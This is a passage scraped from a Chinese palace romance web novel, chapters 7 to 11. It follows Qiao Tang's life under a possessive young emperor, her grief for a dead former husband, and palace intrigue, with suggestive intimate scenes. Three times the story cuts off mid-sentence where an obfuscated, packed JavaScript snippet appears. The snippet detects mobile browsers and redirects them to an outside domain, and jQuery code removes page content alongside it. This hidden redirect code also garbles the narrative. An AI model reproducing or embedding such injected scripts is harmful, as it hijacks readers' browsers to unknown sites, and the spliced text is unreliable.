“知晓了,你且放心,我已说过了,无妨的。”她安抚魏若湄,“我瞧陛下脾性还好,没有那么可怕。” 她浑然忘了校场发生的事,若有所思道,“难不成陛下做了什么让你特别害怕的事?” 魏若湄连忙摇头,“没有,完全没有!”慌得去收拾茶具,“乔姐姐快学吧,不要光说话了!” 这个反应很难让乔棠相信没有啊! 不过,乔棠懂得适可而止,并不强求,静下心学了半日的点茶,宫人来寻她,“陛下派了一名女医到太极宫,姑娘要回去么?” 乔棠一听是名女医,心叹裴承珏还算体贴,身边魏若湄担忧,“乔姐姐病了么?” “无须担心,我身体很好,只是有些问题需要请教太医。” “那乔姐姐快去吧。” 乔棠回了太极宫,见了女医,女医为她查了身子,只道身体很好,并无什么问题。 乔棠又问了几个问题,女医眼中波澜不断,但回得很仔细,都是些在敦伦过程中对女性有益的东西。 且乔棠还有个重要问题,只不过这问题得裴承珏配合,一时也无法说明。 倒是女医离开前,频频看来数眼,“爱惜自己身子本就天经地义,乔姑娘做得很好,日后若有什么问题,尽可来问我。” 乔棠一笑,容色艳极,女医瞥一眼,受不住地忙抬步走了。 晚间就寝时,乔棠收拾妥当上了床,刚拿出女医留下的药膏,准备自己胸前上药。 裴承珏大步踏进来,正好撞见她撩开衣衫,脚步一顿,咳了一声,“姐姐这就睡下了?” 乔棠点头,一松手,衣衫落下,“陛下可是忙完了?” “今晚事少,朕回来睡。”裴承珏慢慢地走过来,步到床前,瞥了她手里的药膏,目光灼灼,“不若朕给姐姐上药吧?” 乔棠闭眼都能猜出他要干什么,索性把手一伸,裴承珏接了药膏,她便躺在了床里面。 纱帐落下,裴承珏坐在床边,翻出了夜明珠,照得亮亮的。 乔棠像是不着一缕,无从遁形。 她想,以后再也不玩夜明珠了。 一只手抚了过来。 药膏凉凉的,涂抹在皮肤上,而后力度重起来。 过了会儿,纱帐掀起,裴承珏匆匆地出去了。 耳边没了粗重呼吸,乔棠面无表情地摸到夜明珠扔了出去。 这珠子已经不干净了。 8. 第8章 珠子滚落床边地上,没过多久,被裴承珏捡了回去,搁置一旁。 裴承珏换了寝衣,掀开纱帐上床,一双手臂揽了乔棠抱在怀里。 “姐姐生朕的气了?” 乔棠困得很,含糊地回,“没有的事。” “那何故扔了喜欢的珠子?” 乔棠一惊,睡意全无,裴承珏这人有时好哄,有时也不好哄,她不敢大意,双手环住裴承珏脖颈,“不小心掉的。” 下一刻堵住了他的唇。 很快心神被急切剧烈的掠夺吞噬了,意识飘渺之际,后颈濡湿,水痕带到肩上,忽地一阵疼痛传来。 她登时一激灵,脑子却还未完全清醒,一巴掌拍了过去,“说了不要咬这里,怎总不记得?” 帐中一静,暗色汹涌,乔棠一下子清醒了,裴承珏疑惑道,“朕怎不记得姐姐说过?” 乔棠呼吸一紧,眼角落下泪,“陛下咬太疼了,叫我脑子都糊涂了,尽说些胡话。” 整个人往裴承珏怀里钻,裴承珏无奈地伸出被拍开的手抱紧了,声含怜惜,“是朕不好。” 乔棠恐说多了,他再起疑,再次主动拉下他的脖子。 裴承珏初次接触,没有经验,整夜都像在把玩最喜爱的玩具,翻来覆去地折腾。 乔棠委实消受不起,又庆幸自己还在月信中,裴承珏的探索直停留在上身。 又一想这也是正常发展,自己要做就是带他尝一尝情爱,待他尝腻了,目光就会寻其他姑娘了。 乔棠似乎已经看到了自己出宫那一幕,心情颇好地在寝宫待着。 且她这模样也不好出去,一双唇被吮得肿着,脖颈后痕迹明显,上了药就歇着了。 期间宫人春桃来了一趟,说是魏若湄已出宫回家了,走之前送来一封邀帖。 乔棠瞥了一眼,发现是三日后的赏花宴,接过来放在手中把玩,与春桃道,“既接了帖子,便要去,三日后我们去镇国公府。” 春桃低眉不语,乔棠慢慢地把帖子放在桌上,让她退下了。 半晌,她嗤地一笑,看来自己真进了一个牢笼。 便是一个宫人也知晓,没有裴承珏的命令,莫说镇国公府,宫门口她都去不了。 午膳时,勤政殿里的李公公接她去见裴承珏,小心翼翼道,“上午议政,陛下发了好大的脾气,这会儿还气着呢,乔姑娘且注意些。” 乔棠听了沉思,及至见了裴承珏,又觉裴承珏很正常,不似生过气的模样,还是同她笑着说着话,饭间也格外关心她,命宫人为她布了喜欢的菜。 饭罢,裴承珏进了暖阁小憩,乔棠在外殿听李公公躬身低语,“还是乔姑娘得圣心,乔姑娘一来,陛下就欢喜了。” 乔棠也不言语,只微微一笑,稍后进了暖阁,裴承珏一把抱起她坐在圈椅上,“想姐姐了。” 分开时间分明还不足半日。 乔棠扬颈,放任裴承珏索求,心道毕竟刚开始,沉湎其中也是正常,由着他去好了。 但裴承珏双手按在腰间,越发使力,恨不得掐入柔嫩肌肤。 她难免消受不了,伸手轻轻地安抚,好歹让裴承珏冷静下来了,替她理好了凌乱衣衫。 乔棠见他犹不满足,有意转移话题,“今日宫人说魏姑娘回去了,又送了赏花宴的帖子给我,我想着过两日出宫去镇国公府一趟,可行?” 裴承珏缓缓笑起来,“姐姐怎不早说想看花?朕让宫人们去弄。” 这是不准她出去。 乔棠笑道,“看花是其一,其二我在宫中一段时间了,甚少碰到同龄人与我说话,便是魏姑娘也回家了,想那日寻人聊聊天。” 环在腰间的双手一动,其中一只手撤开了,屈起指节在桌面上敲了敲,裴承珏许久不言。 乔棠头皮发麻,听他终于笑道,“姐姐在宫中腻了?” “那倒不是。” 乔棠接得很快,眼皮一眨,“陪在陛下身边,哪里会腻,只偶尔会想起在宫外与人聊天说话的时候。” 半真半假的话叫裴承珏重新抱住她,脑袋枕在她的肩膀上,薄唇啄着她的耳朵,“朕离不开姐姐半分。” 真难搞,乔棠阖目,可她总得出宫一趟的,再不出去,有件 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127422|180120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事便耽误了。 “对了,姐姐。”裴承珏忽地抱着她起了身。 乔棠惊得一下搂紧了裴承珏的脖子,眼睁睁看着裴承珏抱着她在暖阁里走了几步,在床头紫檀木小柜里寻出一份房契。 “姐姐看中的那座宅子,朕已买下了,也安置好了姐姐的那几个家仆,姐姐便安心吧。” 乔棠一哽,连别的理由也寻不到了,心头难受,待裴承珏出去见臣子了,她在床上躺下,手指有一搭没一搭地扯着纱帐。 没过多久,困意袭来,睡得迷迷糊糊间,忽听一道似曾相识声从外面传来,“陛下,是臣妹胡闹了。” 她撩了撩沉重眼皮,还是未能醒来,脑子里光影混乱,突地跳出一幕。 青年寒霜似的面容没有半分动容,“夫人,你越发胡闹了。” 惊得她霎时醒来,脑中再没有这般清明过,慌地下床去,连鞋都忘了穿。 却在跑到隔断那里,脚步猛地一止,瞪大的眸子看见裴承珏讶然地望过来,“姐姐?” 接着裴承珏容色一变,大步过来,一把抱起她圈在怀里,“怎么哭了?” 乔棠怔怔地要摸向眼睛,泪珠还在,她喃喃道,“我听见……” 下一刻裴承珏情不自禁地吻掉那颗泪珠,让她一下子不敢动了,更不敢说。 难道要说她听见了那个早死前夫的声音了? 她哽咽一声,“我听见嬷嬷以为我不见了,一直喊我,像我娘亲在时,我淘气跑出去,她着急地去寻……” 王嬷嬷是她的奶妈,自她一生下来便陪着她,待她如亲女儿般,也在双亲逝去后疼她护她,眼下正在裴承珏买的那座宅子里。 “是朕不好,明日朕便命人接王嬷嬷进宫。” 裴承珏把她放在床上,被她一下牵住了衣袖,双目红红的,怜人疼惜,“陛下,我想自己去接。” 裴承珏低眸,迎着那双怯柔眸子,反手握住乔棠的手,慢慢地道,“好,姐姐不哭了就好。” 他一出去,乔棠立马拉下纱帐罩住了自己,眸子罕见地迷茫了一瞬,裴承珏似乎很吃这一套。 9. 第9章 便是连出宫也能允了。 年少便是这点好,极易心软,不似那些经过事的心冷如铁。 同时她也埋怨自己,竟睡糊涂听错了声音,分明前夫都是已死的人了。 转念一想,大抵明日是前夫忌日,她惦记着给前夫烧纸,这才出了这个岔子。 但总归能出去了,乔棠将此抛之脑后,夜间又被裴承珏抱着吻了个遍。 裴承珏埋首在她颈窝,痴缠不停,口中不留余地,“朕只给姐姐两个时辰。” 乔棠心道,真小气。 翌日她也不浪费时间,用过早膳就坐上宫里的马车,由换了装的侍卫带着出了宫。 一进宅子,几个家仆就神情激动地迎过来。 为首的是一个穿着得体的妇人,四十出头,圆圆面容和气慈爱,见了乔棠一把搂住,噙着眼泪喊,“姑娘可回来了。” 身边丫鬟小厮也掉泪,乔棠抱着王嬷嬷的脖子笑,“别哭,都别哭,你们看,我好着呢。” 几人抬眼看过来,见她衣饰贵极,容色柔艳,双目熠熠,比离开前更添几分风采,当下收了泪,拥着她进厅去了。 这宅子已收拾利落,各处摆设也极为妥当,乔棠环顾了一遍,满意地笑了,“嬷嬷还是这么勤快。” “哪里是我这个老婆子做的?” 王嬷嬷频频瞥向守着门口的侍卫,她明白地颔首,原来是裴承珏命人做的,倒是格外合她眼缘。 她拉着嬷嬷的手低语,嬷嬷听了便出去了,没过多久,带回来一堆纸钱元宝香烛之类的。 乔棠原要去旁的地方祭拜下前夫,见两个侍卫如影随形,索性立在花苑旁不走了。 小厮帮忙点燃了香烛,嬷嬷递纸,乔棠接过烧了,耳边听嬷嬷抹眼泪道,“前姑爷命薄,双亲走得早便罢了,自己也早早去了,若不是姑娘良善,心里头惦记着,这身死之日,连个烧纸的也没有。” 烟雾缭绕中,乔棠似是望见一双冷淡眸子,连声音也是冷的,“乔棠,今日你敢踏出温家的门,便再不是我温璟的妻子。” 当时她怨温璟心冷薄情,头也不回地走了,后来没过一月,传来了他身死的消息,不是没后悔过。只是,后悔有什么用呢? “咳咳……” 一阵风卷起残屑,呛得乔棠咳嗽几声,王嬷嬷扶起她离远些,见她呛得眼角带泪,忙拿出香绢替她擦了。 乔棠眼睛红红地走开了,转而提了带王嬷嬷进宫,其余仍留在宅院,“你们就在这里好生待着。” 小厮丫鬟们应了,送她和嬷嬷上了马车,到底在裴承珏规定的时间里回了宫。 乔棠带王嬷嬷去了太极宫,两个侍卫随即回勤政殿复命,向裴承珏禀报了情况。 裴承珏在殿里踱步,下垂大袖晃来晃去,几个臣子不安地跪着,垂头不敢言语。 裴承珏忽地转身挥手让他们退下了,对侍卫道,“去接乔姑娘来。” 侍卫不敢耽误,速速到了太极宫传口谕,乔棠刚缓了口气,与王嬷嬷说话呢,只能听从命令去见裴承珏。 裴承珏笑道,“姐姐回来得好快。” 乔棠心里连骂他也没了心力,横竖不过他一句话的事,他嘴上说快,实则心里嫌弃慢呢。 乔棠只拉着他的手进了暖阁,奉上自己的唇,叫他消了火气。 真真好长一段时间。 乔棠觉着自己在他的掌下要窒息了,他才肯放过自己,摁在腰间的手上移,挑开了衣领。 又是一阵时间。 等裴承珏尽了性,乔棠浑身无力,被他抱在怀里,“姐姐心软,给旁人烧个纸,也会落泪。” 乔棠阖着眸子,睫毛轻颤,弱声解释,“眼睛是被风吹进了碎屑了。” 至于给谁烧纸? 她早晚得提前夫,不若今日提了,何况裴承珏也已查明了,眼下不就等着自己解释? “陛下也知我早年嫁过人,后来他在和我和离后便死了,今日是他忌日,我……” 指腹抵在颤动的唇上,细细研磨,这是不让她说下去了。 裴承珏道,“姐姐莫说得太细。” 乔棠眨眼,她可什么都没说呢…… 裴承珏却道,“朕不是小肚鸡肠沾酸捻醋之人,姐姐给他烧纸便烧纸罢,朕有姐姐便好了。” 乔棠启唇笑了,似在亲吻裴承珏的指腹,裴承珏愉悦地眯起眸子。 乔棠却心道,毕竟年少,尚未成婚,不知夫妻意味着,尤其是年少夫妻。 乔棠十六岁嫁给温璟,与温璟朝夕相处三年,温璟在她身上打下的烙印,藏在裴承珏看不见的地方。 裴承珏浑然不知地吻着乔棠。 乔棠受着,忽地裴承珏撤开身子,声音低低道,“姐姐,做朕的妻子吧。” 乔棠猛地一怔,随即心跳如擂,手指发紧,面上勉强扯出一抹笑,“陛下说笑了。” 裴承珏笑起来,吻了吻他的发,“倒不是说笑,朕真心要求娶姐姐的,只不过,得让姐姐等一等了,待朕及冠才能大婚。” 乔棠心头骤然一松,还没来得及欢喜,裴承珏抱起她,竟直接抱她到了外殿,一起坐在了圈椅上,翻开那写好的圣旨一看,赫然是道封妃的圣旨。 “姐姐既已同朕宿在一起,便是朕的人了,朕不愿姐姐受委屈,后日朕为姐姐开赏花宴,到时封姐姐为贵妃,好不好?” “待朕及冠,再与姐姐成婚,届时姐姐便是朕的皇后了。” 分明是春日里,乔棠生生出了一身冷汗,淋得她浑身发寒,抱着裴承珏脖颈的双手抖动着,无力地垂了下去。 她像汲取温暖一样贴近裴承珏,急切地问,“太后娘娘可知晓?可同意了?” 裴承珏以为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127423|180120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她害怕太后责问,不由将她搂得更紧,万分怜惜,“朕做事无须过问母后,姐姐不必担心。” 乔棠窝在他怀里,连泪都不敢流,只咬着牙齿想,封了妃,也能出宫的吧,只要裴承珏不喜她了,都有转圜的余地。 当夜,乔棠起了高烧,昏迷不醒,这对身体健康的她很少见。 裴承珏只见过她浑身雅艳,光彩烨然,顾盼间流波婉转,哪里见过这般孱弱无力的她? 她像一片被风吹落的莲,颤巍巍地躺在裴承珏怀里,叫裴承珏比往日更怜爱她,召来了整个太医院的太医。 太医们看过,只说乔棠受了惊吓,需好生休养,裴承珏若有所思。 待煎好了药,裴承珏亲手喂给乔棠,乔棠意识迷糊着不喝。 “姐姐听话。”裴承珏钳着她的下巴,一口一口地用唇渡了进去。 乔棠老实了,就这样喝了一碗药,沉沉睡去,烛火淡影下,裴承珏长久地凝视她泛着白色的面颊。 半晌,他后悔地捏了捏眉心,不该那么突然提封妃的,姐姐便是喜欢自己,也会吓一跳的,何况姐姐还要顾虑母后,真是为难姐姐了。 他低下头,轻轻地吻了吻乔棠的眉心,像含着片雪,力度一重便化了。 卯时四刻时,宫人来报,上朝时间到了,大臣们都在等着了。 裴承珏下了床,放下纱帐,命宫人好生瞧着,步了几步远,回头瞧了瞧。 宫人道,“陛下。” 裴承珏方又提步,慢慢步到前殿,忽地驻足,阖眼道,姐姐还没醒,他如何放心得下。 就一次,就荒唐这一次。 “传朕口谕,朕身体不适,今日朝务暂委内阁处理,万望众卿体谅。” 言罢瞥了一眼愕然的宫人,宫人顷刻间软着手脚传话去了,他转身折回了寝殿,见纱帐还好好地落着,也不上床,只坐在床边。 不知过了多久,纱帐轻轻地动了,他撩开一瞧,发现乔棠已坐起来,睁着湿漉漉的眸子望过来,不由心喜,俯身一把抱住了,“姐姐醒了。” 直接把乔棠心头那点茫然撞散了,但她这会儿并无心力应对裴承珏,只能又阖上眸子喊,“陛下,疼。” “再躺一会儿。” 裴承珏扶她躺下来,安抚她道,“姐姐,是朕想错了,不该这么贸然封姐姐为妃,吓着了姐姐。” 乔棠吃惊,她一醒来便思及这个事了,本以为是板上钉钉了,不成想还能峰回路转。 她道,“也不是陛下的错,我进宫时间短,何况还未真与陛下……” 声音一顿,显然两人都知在说什么,乔棠续道,“哪里能一上来便封个贵妃?” “我知晓陛下是为我好,我倒不在意这些,只陪着陛下就好了。” 裴承珏也不接话,只探身过来,低下头亲吻,亲了很久才放过乔棠。 10. 第10章 “朕懂姐姐心意了,此事暂且缓缓再提。” 裴承珏一笑,面上那点倦怠明显了些,乔棠欢喜地往外瞥了眼,见天已亮了,以为他刚下早朝,“我瞧陛下累了,歇会儿吧。” 她想动动身,好腾出一半位置,裴承珏一掌按住了她的肩头,“不歇了,有朝务等着朕。” “让王嬷嬷陪着姐姐,朕忙完再过来。”他轻轻地抚了抚乔棠额前的乱发,出殿去了。 王嬷嬷被允许进来了,“姑娘可好些了?” “无妨,我的身体您是知晓的,不过是惊着了,歇个两天也就好了。” 乔棠坐起来,示意王嬷嬷坐在床边圆凳上,见她似欲言又止,玩笑道,“您怎么还和我生分起来了?” “姑娘说的哪里的话?”王嬷嬷揽了她的手臂,哄孩子似地轻拍,思索着夜里所见的,“我是惊讶得脑袋呆掉了,眼下姑娘想听,我说便是了。” 王嬷嬷自打白日进了太极宫,可算入了人间富贵地,只觉处处华物不凡,不过她家姑娘也不是骄奢享乐之人,这些打动不了她家姑娘。 但一日下来,这一宫的人皆望着她家姑娘而动,侍奉得妥帖自然,便是她这自幼陪伴的奶妈也自愧不如,可见是天下最难寻的待遇了。 她本以为这就到头了,没成想夜间姑娘起了烧,陛下那般疼惜,召太医喂药不说,又生生守了一夜,莫说她看得目瞪口呆,满宫的人到现在还吃惊着呢! “想来我们姑娘生来便是有好造化的,当初老爷夫人逝去,族里无德,仗着姑娘没人护着了,要强占了咱们铺子田地,得亏前姑爷主动求娶姑娘,护住了家里根基。” “如今前姑爷不幸去了,我是日夜忧心姑娘,恐那些没良心的登徒子骗了姑娘去,偏偏姑娘又有新造化,在街上遇上了陛下,得陛下十分怜惜,如此若老爷夫人泉下有知,也放心了。” 她说起话来,又多又杂,乔棠听不进去,只晓得伶仃几句,先是裴承珏守了她一夜,竟是连早朝都没去,她心里不知作何滋味。 后来她又捉住一句,惊疑道,“温璟主动求娶?” 怕是嬷嬷记错了,当时她被族里逼得主动找了温璟寻求庇护,温璟冷峻的容色时至今日仍残留脑中,“乔姑娘为解难向温某求亲,恕温某难以答应。” 乔棠又气又羞,在心里发誓这辈子都不会再见温璟。 没成想誓言碎得这么快,没过几日,她在酒楼相看其他人家时,温璟不知怎么地突然冒了出来,同意了她的求亲,她没出息地答应了。 “哦,这点姑娘不知晓,前姑爷去了后,我在街上遇到给你们保媒的顾婆子,她对前姑爷怜惜得很,说前姑爷一心想和姑娘成亲,成亲前寻了她几次要她帮忙,到头来姑娘和他和离了,没了夫人便罢了,竟连命也没了。” “当时我瞧姑娘为前姑爷的死伤心,怕说了姑娘更伤心,也就没提,姑娘?姑娘?” 乔棠定定地坐着,仿佛魂儿被抽走了一半,还是王嬷嬷摇了她几下胳膊,她方寻回了神儿,低下头颤了颤睫毛,嗓子眼咕哝了一声,“原来你对我也并非无意。” 眼角泪珠倏忽落了下来。 现今知了有什么用呢,人都已死了。 她胡乱地拿手背擦了眼角,王嬷嬷赶紧扒拉开她的手,双眼酸酸的,拿香绢给她擦干净,“怪我不该提,提了姑娘便要哭,日后莫说他了,姑娘瞧瞧陛下,陛下多好呐。” 乔棠喉头更哽了,裴承珏好?这位可是比温璟更难缠的主儿。 王嬷嬷下去给她端了水,照顾她洗了脸,“姑娘饿吗?” 乔棠点头,用了早膳,皱巴着把药喝了,勤政殿的李公公就来了,“陛下着奴才来问问乔姑娘可好些了?饭可吃了?药可喝了?” 王嬷嬷一一回了,李公公笑着回去禀报去了,乔棠一时心绪繁杂,只坐在圈椅上不说话。 王嬷嬷宽慰不得,急得不行,到了午膳时,裴承珏回来瞧她,她才恢复点精神,“陛下忙,不要来回跑了。” 好在她眼睛已不红了,没叫裴承珏看出端倪,裴承珏双臂搂了她在怀里亲了亲,“可好些了?” 乔棠定定地看着他的倦容,他分明很累了,还过来抱她亲她,不由沉吟道,“好多了,陛下若不放心我,下午我随陛下去勤政殿,陛下可时时看看我,我自己想在那里看会儿书。” “朕都依姐姐的。” 两人一起用了午膳,进了勤政殿暖阁里。 她自己寻书,发现里面多了些解闷的话本,便拿了过来倚靠在床边翻着。 裴承珏在隔断那里望了一眼,接着去忙了,期间忙到只能命宫人过来看一眼乔棠,乔棠示意她很好。 直到天边擦黑,乔棠在暖阁等了许久,都不见裴承珏过来,瞧时间是该结束了。 她出了暖阁到外殿,见宫人们屏气凝神地立着,奇怪地多走了几步,才发现裴承珏枕在御桌上睡着了,摞得高高的折子遮住了他的面容。 乔棠放轻脚步地步到跟前,坐在另一侧椅子上等着,直等得她也困了,睡了过去。 * 入夜了,镇国公府亮起烛火,仆人们忙碌的声音伴着夜风吹散在了各处。 唯独魏清砚的松风院是不容乱声出现的,丫鬟小厮侍奉得也小心翼翼,瞥见魏若湄偷偷进来,互看数眼也不出声。 魏若湄示意他们赶紧走开,自己蹑手蹑脚地到了书房窗下,悄悄地往里看了一眼。 烛火残影下,魏清砚低首掩住了面容,静静地坐在圈椅上,宽松大袖映住桌上书卷,一只手似是轻轻地抚弄什么。 倏地“啪”一声,烛花爆了,火星子溅到了袖上,零星一闪,男人微阖双目慢慢睁开。 “出来。” 一道冷声向窗子斥去,接着大袖一动,魏清砚将手中东西塞入抽屉中,抬起一张寒玉雕成的面容,连带眸子也似结了冰,视线冷冷的。 “我不是有意偷看兄长的,适才来时见兄长在休息,我不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127424|180120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忍打扰,才站在外面。” 魏若湄思及乔棠教的法子,鼓起勇气露出一个娇憨笑脸,从袖中掏出来一个白玉雕圆形小盒,“兄长叫我调的香我弄好了。” 她亲近地靠过来一步,魏清砚远离一步,她也不气馁,试探多次,发现魏清砚依然冷淡,眼中含泪道,“我是真心喜欢兄长,想和兄长走近一些,兄长当真不喜我这个妹妹?” “你不宜和我走得近。” 魏清砚对她的眼泪无动于衷,自大袖下伸出手接过小盒,旋开放入鼻下,冰冷容色一瞬变了。 魏若湄抹掉眼泪得意起来,“这次的如何?” 魏清砚似失了神,慢慢问,“谁帮你调的?” 魏若湄瞪圆了红红的眼,她真的生气了,便不是她调的怎么了,这个兄长怎么就从不肯和她说句夸奖话! “不告诉兄长!”她气鼓鼓一把夺走那玉盒,想到百花宴也办不成了,将心中积攒的怒气一股脑儿发泄了出来,“兄长真可恶,若不是兄长听了陛下的话,不让我办赏花宴,我也不会——” 她边说边出了书房,“失信于乔姐姐,等下还要给乔姐姐写道歉信。”委屈地去找国公夫人诉苦去了。 魏清砚捏了捏眉心,鼻尖还萦绕着一股熟悉香气,半晌唇角罕见地勾了勾,却是一个自嘲的笑,天底下会调这个香,也不只自己和她,怎能一瞬就被扰了心神? 只是,半晌不见他动,仍立在香气萦绕处,直到香气慢慢消散,再无半分残留,才出了书房。 * 乔棠再醒来是被饿醒的,见裴承珏抱着自己睡得正沉,小心地挣脱了密不透风的怀抱,摸索着掀开纱帐,悄悄下了床。 她借着月色才发现还在暖阁里,又见惊动了宫人,恐吵醒了裴承珏,索性回了太极宫。 宫人侍奉着她用了些饭,喝完了药,她又去睡了沉沉的一觉。 再睁眼,天已大亮,王嬷嬷在床边亲昵地揉了揉她的头发,“姑娘起来了。” 乔棠起了床,有宫人来报,“李公公在前殿候着,等着接姑娘去勤政殿。” 乔棠心道,不若裴承珏把她挂自己身上得了,真是少看一眼都不行。 路过御花园时,她瞧着一簇簇春花,心头生出歉意,魏若湄原是为了自己办的百花宴,自己去不成,真辜负了人家美意。 不想有宫人追上来,捧给她一封书信,“魏姑娘给姑娘的信。” 她接过拆开看了看,一行行黑字仿佛化成了魏若湄的声音,“乔姐姐对不住,赏花宴办不成了,必定是陛下太霸道,不想让乔姐姐出宫才叫兄长管我,兄长也是,还是那副冷冰冰模样,说了喜欢他,他还气哭了我!” 乔棠收了信,不可置信地心叹,这天底下竟还有比她前夫更冷更难暖热的人。 为此,到了暖阁,她好奇地向裴承珏问起了魏若湄的兄长,裴承珏含笑眸子一垂,折子映住的半张脸神情不明,“姐姐在朕跟前打听别的男人,是否不妥?” 11. 第11章 “陛下并非那种拈酸吃醋之人,何处不妥?” 裴承珏放下折子,见她面颊柔艳,双目熠熠,戏弄一声,“想来朕的姐姐已大好了,不需朕喂药了,还有了力气呛朕。” “陛下。” 乔棠轻咬唇角,王嬷嬷也提过裴承珏给她喂药,她自己昏沉之际也觉双唇被渡汤药,定是裴承珏以口喂的。 她鲜少生病,从无被喂药这个经历,眼下被当面点出来,一时难以应对,匆匆别过视线。 只留一个侧脸给裴承珏,白皙肌肤微微泛红,裴承珏想起沾了露水的芙蓉花瓣,情不自禁探身过去啄了一口,力度很轻。 一个称不上吻的轻啄,诉说了少年人毫不掩饰的坦然情意。 少年人双唇炽热,乔棠蝶翼似的睫毛闪了闪,迟钝似地拿帕子掩住了半张脸颊,唇瓣微启,欲言又止。 要说什么? 不要亲么? 可是,一个情窦初开的觉醒了本能的少年人,对于心上人,大概都是想亲了又亲的。 何况还是她自己亲手开了这个口子,让少年人品尝了情爱滋味,唯有默默受着了。 她被裴承珏抱在膝上,沉默之下,裴承珏以为她生气了,哄道,“姐姐不喜生病,朕从此不提了。” 乔棠一听,是真羞了,哪有让比自己小两岁的少年哄自己的? 她还是沉默,慌得裴承珏转移话题,“朕是说过朕不拈酸吃醋,姐姐拿这话揶揄朕,是料定朕说的都是实言,不会骗姐姐?” 一边说着,一边开始捣乱,手指在乔棠身上乱动,迫使乔棠惊喘一声,“陛下自不会骗我!” “那姐姐会骗朕吗?” 乔棠心里一紧,大抵是做贼心虚,她不免害怕,刻意软下来的腰肢如团柔软的云贴过去,试探道,“若是我骗了陛下——” 一双皓腕环住裴承珏脖颈,下巴枕在他的肩上,转头亲上他的侧颈,留下了一个淡粉印子,“陛下会如何?” 几乎一瞬,一只手掌倏忽地摁住她的后颈,力度太大,迫使她最好扬颈送上自己的唇。 唇齿相依,过了好长时间,唇方分开。 裴承珏嗓音暗哑,“骗吧,姐姐骗得越狠,朕越喜欢姐姐。” “可姐姐不会,对吧?” 裴承珏声音笃定,乔棠的心倏忽一缩,连呼吸都顿了一瞬。 很快,薄唇向下游走,已不给她回答的机会了。 不知过了多久,裴承珏呼吸平复下来。 乔棠脑袋昏沉,又不许自己因裴承珏的话恐慌,只能在心里直呼,可真是亏大了,半点消息都无探到,还被折腾了一番。 殊不知,裴承珏记着呢,餍足地一手支着下颌,另一手指了指一道奏折,示意她看过来。 是封弹劾官员的奏折。 乔棠草草看了一遍,心中大惊,这位大人言辞未免太过火了,这般不近人情,也不怕出门被同僚揍了。 “魏卿呈上来的,魏卿在朕面前冷肃端正,凡是朝务,只讲理法,不动情面,委实适合做个都察院御史,替朕纠查百官。” 乔棠心道原来如此,裴承珏对臣子的了解一向限于朝务上,确实也没什么闲心思放到臣子的私下生活了,所幸她只是好奇罢了,知与不知都可。 裴承珏得寸进尺,“朕与姐姐说了魏卿,姐姐如何答谢朕?” 乔棠瞪大眸子,刚才不已亲过了…… 忽地听到裴承珏笑声,再次被他揉进怀里时,她方反应过来,当即拍了一下裴承珏的后背,干什么打趣她! 没成想,也不是打趣,安静一会儿,裴承珏又开始了。 乔棠受不了地躲来躲去,心叹这还没尝到真正的滋味呢,就这般毫无节制了,日后真行了事,她这身体再好也无用,总得想法子避一避。 过了一日,慈宁宫的素兰姑姑来了一趟,传了太后的话给乔棠,乔棠一听,甚觉太后不放过任何一个机会,便应了下来。 夜间就寝,乔棠为裴承珏在床上留了一个位置,等了许久不见裴承珏回来,先行睡下了。 裴承珏回来掀开纱帐一瞧,乔棠缩在床里面睡着,倒很乖的模样,不免让他起了坏心思,上床后凑过去亲了亲。 他原本要伸出双臂搂了乔棠在怀里,忽见床榻里面掩着什么东西,一手换了方向,伸到里面抓了那册子出来。 放在眼下翻了两页,他的面色唰得红了,狐疑地瞥了睡熟的乔棠数眼,眸色震荡。 愣神片刻,他拿着册子轻轻地下床去了,过了甚久,才若无其事地回到床上,将那册子塞回原处。 纱帐拢着,鼻尖盈着香甜气息,裴承珏控制地不去抱乔棠。 他在白日里闹过乔棠了,再闹恐伤了她的气力,且那册子…… 原来姐姐已在准备和他做夫妻了,他这般想着,阖眸吻了吻乔棠的眉心。 卯时四刻,乔棠侧个身的功夫,把自己动醒了,身边裴承珏欲要起身,上朝时间到了。 乔棠还记着太后的话,伸手牵住了他的衣袖,“陛下,先前说为我办赏花宴,可还作数?” “姐姐若想,明日即可办。” 乔棠睡眼惺忪,“不若休朝那日吧,陛下也可得闲赏花。” 裴承珏不疑有他,应了下来,吻了吻她的唇,步履轻快地出去了。 到了白日,宫里要办赏花宴的圣旨便下来了,乔棠心知太后要干什么,命宫人传话给了素兰姑姑。 素兰姑姑迟了很久才来,捧给了乔棠一本名册,乔棠翻开一看,都是些出身官宦世家的姑娘名字。 有几个还被太后标了圈,乔棠看得自嘲一笑,自己这个工具,太后用得越发顺手了。 太后想借她这个赏花宴,让裴承珏相看世家姑娘,她焉有不从之理? 